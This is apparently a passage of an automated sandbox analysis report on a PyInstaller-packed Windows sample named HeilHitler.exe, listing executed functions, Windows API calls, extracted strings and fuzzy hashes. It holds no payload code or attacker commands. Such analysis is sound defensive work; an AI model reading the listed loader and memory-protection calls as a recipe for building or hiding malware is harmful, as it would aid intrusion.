Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: db1a6162a4bccb09ad1e453a8e51b53c1fea1e654d6ff293ae719b6ed9fb63b5
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 6911E921A0C54682F65487E9E5472796251EB88780FC45230DF6D97B9ACD2DE5D5A200

Function 00007FF633D85B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF633D81760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D81793

_get_daylight.LIBCMT ref: 00007FF633D85C34
_get_daylight.LIBCMT ref: 00007FF633D85C45

Strings

?, xrefs: 00007FF633D85BC5

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: 3cb196903c5e56fc7d9eb1f85b8d271bd60e7ec9e6446d419ff1f1ad6365f8fe
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: 3A411812A0828246FB619BA9D40237A67A2EF91BA4F145335EE5C9ABD5DF3CF4419B00

Function 00007FF633D79014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D79046

Part of subcall function 00007FF633D7A948: RtlFreeHeap.NTDLL(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A95E
Part of subcall function 00007FF633D7A948: GetLastError.KERNEL32(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF633D6CBA5), ref: 00007FF633D79064

Strings

C:\Users\user\Desktop\HeilHitler.exe, xrefs: 00007FF633D79052

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\HeilHitler.exe
API String ID: 3580290477-2243985011
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: 9701e2203530df1d37851d7f3befcf6e76ec76ec48aeee2e83f82e91ee57d9c5
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: 5841C032A08B1286EB14DFA1D8420BD63A4EF447D0B554235ED4EE3B85CF3DE4A6E300

Function 00007FF633D7CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF633D7CD4F
GetLastError.KERNEL32 ref: 00007FF633D7CD71

Strings

U, xrefs: 00007FF633D7CCFB

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 19f18fa483c2f33693694605881a2da7bc54fe51dfafeebc5f756f4136fe1acb
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: AD41A332B18A8185EB608F65E4453BA77A0FB88B84F944235EE4DD7798EF3CD441D740

Function 00007FF633D7F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF633D7F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF633D7F64A

Strings

:, xrefs: 00007FF633D7F60E

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction ID: 8eb12bc165134f41b4cb3792588da0e60e246dae2e205a758614a1fe4bf5d5fe
Opcode Fuzzy Hash: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction Fuzzy Hash: 44212372A1868181EB308F51D44627D73B5FB88B84F864335DAADAB394DF7CE9849B40

Function 00007FF633D6FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF633D6FD98
RaiseException.KERNEL32 ref: 00007FF633D6FDD9

Strings

csm, xrefs: 00007FF633D6FDC6

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 761cba639d03aea86463388cd1ad425dde15df9ba6ee47ac9c00dac230985bb0
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 2A115B32608B8182EB218F55E400269B7E8FB88B98F584330EF9D5B769DF3CE5518B00

Function 00007FF633D8073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D8076C
GetDriveTypeW.KERNEL32 ref: 00007FF633D807AC

Strings

:, xrefs: 00007FF633D80795

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 09a25edd1726398f407d017423dcdbbfe3ab10e57d17ce13637819520ad46471
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 4F01A26291C30386F720AFE0A86327E63A0EF48744F801236D55DEA795EF3CE544AB14

Analysis Process: HeilHitler.exePID: 7448, Parent PID: 7432COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	732
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF633D61000 Relevance: 60.0, APIs: 6, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to convert DLL search path!, xrefs: 00007FF633D63DD4
Failed to remove temporary directory: %s, xrefs: 00007FF633D63FC7
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF633D639DE
pyi-python-flag, xrefs: 00007FF633D63AD6
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF633D63E9E
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF633D63EB3
Could not create temporary directory!, xrefs: 00007FF633D63CBF
bye-runtime-tmpdir, xrefs: 00007FF633D63B68
Failed to start splash screen!, xrefs: 00007FF633D63ECC
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF633D63882, 00007FF633D638AF
_PYI_SPLASH_IPC, xrefs: 00007FF633D63A23, 00007FF633D63EED
_PYI_ARCHIVE_FILE, xrefs: 00007FF633D638D2, 00007FF633D639FF
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF633D63BE8
VCRUNTIME140.dll, xrefs: 00007FF633D63DA9
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF633D63971
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF633D63B32
pkg, xrefs: 00007FF633D639BE
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF633D63C61
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF633D63E02
pyi-disable-windowed-traceback, xrefs: 00007FF633D63BB2
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF633D63D35
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF633D63A17, 00007FF633D63A2F, 00007FF633D63A9B
pyi-contents-directory, xrefs: 00007FF633D63B8D
MEI, xrefs: 00007FF633D63933
Failed to load splash screen resources!, xrefs: 00007FF633D63E7D
Py_GIL_DISABLED, xrefs: 00007FF633D63AF4
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF633D63D12
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF633D63A0B, 00007FF633D63CD4, 00007FF633D63F63

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 4651f0dbc160d0404dcf25292df1705b0130bb44d3f559e05366d82f1582b67c
Instruction ID: 0eb346d6c770e15e92253ca69477e5e7d831923dfad77cb800914853cad8e879
Opcode Fuzzy Hash: 4651f0dbc160d0404dcf25292df1705b0130bb44d3f559e05366d82f1582b67c
Instruction Fuzzy Hash: 0432AC21A0C68291FB15DBA494573B973A1AF44780FC44236DA6DE77E6EF2CF558E300

Function 00007FFDFAE8195B Relevance: 23.5, APIs: 5, Strings: 8, Instructions: 785COMMON

Download Yara Rule

Strings

, xrefs: 00007FFDFAE905E2
POST , xrefs: 00007FFDFAE90CE5
GET , xrefs: 00007FFDFAE90CC2
HEAD , xrefs: 00007FFDFAE90D03
PUT , xrefs: 00007FFDFAE90D22
CONNE, xrefs: 00007FFDFAE90D36
..\s\ssl\record\ssl3_record.c, xrefs: 00007FFDFAE904FC, 00007FFDFAE90D56, 00007FFDFAE90DFE
@, xrefs: 00007FFDFAE9083D

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID:
String ID: $..\s\ssl\record\ssl3_record.c$@$CONNE$GET $HEAD $POST $PUT
API String ID: 0-352295518
Opcode ID: e537590e1e3e5565111220064509cd7ea415ff27cb0e8e47a5c26d5efe5f4d10
Instruction ID: 4b0e81c33a936e114dba6ba8a3ba8c362d7122d0e71fff0dee5fa4018bf3da85
Opcode Fuzzy Hash: e537590e1e3e5565111220064509cd7ea415ff27cb0e8e47a5c26d5efe5f4d10
Instruction Fuzzy Hash: 78728132B0874286FB68AE15D464BB937A0EB48B8CF944175DA6E4B6DCDF7ED580C700

Function 00007FF633D86964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF633D86698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D866D9
Part of subcall function 00007FF633D86698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D86757
Part of subcall function 00007FF633D86698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D867A8

CreateFileW.KERNEL32 ref: 00007FF633D86A6A
CreateFileW.KERNEL32 ref: 00007FF633D86ABA
GetLastError.KERNEL32 ref: 00007FF633D86AEA
GetFileType.KERNEL32 ref: 00007FF633D86AFF
GetLastError.KERNEL32 ref: 00007FF633D86B09
CloseHandle.KERNEL32 ref: 00007FF633D86B3C
CloseHandle.KERNEL32 ref: 00007FF633D86C9F
CreateFileW.KERNEL32 ref: 00007FF633D86CD4
GetLastError.KERNEL32 ref: 00007FF633D86CE3

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: 89c632f8cecc42cd5d3a3afa7ff96505a68fc3a8e9bccf3b8a24fbe497977bd1
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 14C1AF36B28A4585EB11CFA9C4926AC3761FB49BA8B015335DF2EAB7D4DF38E055D300

Function 00007FFDFB293230 Relevance: 6.8, APIs: 4, Instructions: 850librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFDFB293CF0
GetProcAddress.KERNEL32 ref: 00007FFDFB293D1A
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFDFB293DA4
VirtualProtect.KERNEL32 ref: 00007FFDFB293DC2

Memory Dump Source

Source File: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 6912a145b092a435b2690e8e050799ca64382d8315b3fc9a28e3f91c66e0900d
Instruction ID: f9cd50aa36f4ee6677f142606f9a0cf833233c713b44547ec1d11bd06bff8273
Opcode Fuzzy Hash: 6912a145b092a435b2690e8e050799ca64382d8315b3fc9a28e3f91c66e0900d
Instruction Fuzzy Hash: FA62372272959286E7198F38D49077D77A0F748789F045632EABEC37D8EA3CEA44D700

Function 00007FF633D69280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF633D692B3
FindClose.KERNEL32 ref: 00007FF633D692C2

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: c398fd0573cd36a510ed8dd3cff5e559f13ae2d8f5793ff5aa1c63212eee7f96
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 75F0C832A1874186F7A08FA0B49A7667350BB84328F840335D97F567D4DF3CD058DB00

Function 00007FF633D61950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF633D67F90: _fread_nolock.LIBCMT ref: 00007FF633D6803A

_fread_nolock.LIBCMT ref: 00007FF633D61A1B

Part of subcall function 00007FF633D62910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF633D61B6A), ref: 00007FF633D6295E

Strings

fread, xrefs: 00007FF633D61A32, 00007FF633D61B5C
fseek, xrefs: 00007FF633D619F5
calloc, xrefs: 00007FF633D61A68
Failed to seek to cookie position!, xrefs: 00007FF633D619EE
Error on file., xrefs: 00007FF633D61B8D
malloc, xrefs: 00007FF633D61B22
MEI, xrefs: 00007FF633D61991
Failed to read cookie!, xrefs: 00007FF633D61A2B
Could not allocate memory for archive structure!, xrefs: 00007FF633D61A61
Could not read full TOC!, xrefs: 00007FF633D61B55
Could not allocate buffer for TOC!, xrefs: 00007FF633D61B1B

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: ee3080450604db9b79bcaf6ea9780d01564dfb64de786eed8711188a6f6cabc7
Instruction ID: 1855953544a3383a96094cab659c93698b37e88630c9d79497d49a2ddd2127ab
Opcode Fuzzy Hash: ee3080450604db9b79bcaf6ea9780d01564dfb64de786eed8711188a6f6cabc7
Instruction Fuzzy Hash: 0C81C371A0C68286EB20DBA4D0532FD73A0FF88784F844635E99DE7795DE3CE585A740

Function 00007FF633D61470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fread, xrefs: 00007FF633D615E6
fseek, xrefs: 00007FF633D614E5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF633D6149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF633D615DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF633D614DE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF633D61518
malloc, xrefs: 00007FF633D6151F

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 36c27e05a3dc08856ce095ca55667838a030721a896d1c10063586a41b75456c
Instruction ID: d4d2e6fea381ba84e704f53d4ba53531d05f7e933aa213446e06bfb832ffe5c8
Opcode Fuzzy Hash: 36c27e05a3dc08856ce095ca55667838a030721a896d1c10063586a41b75456c
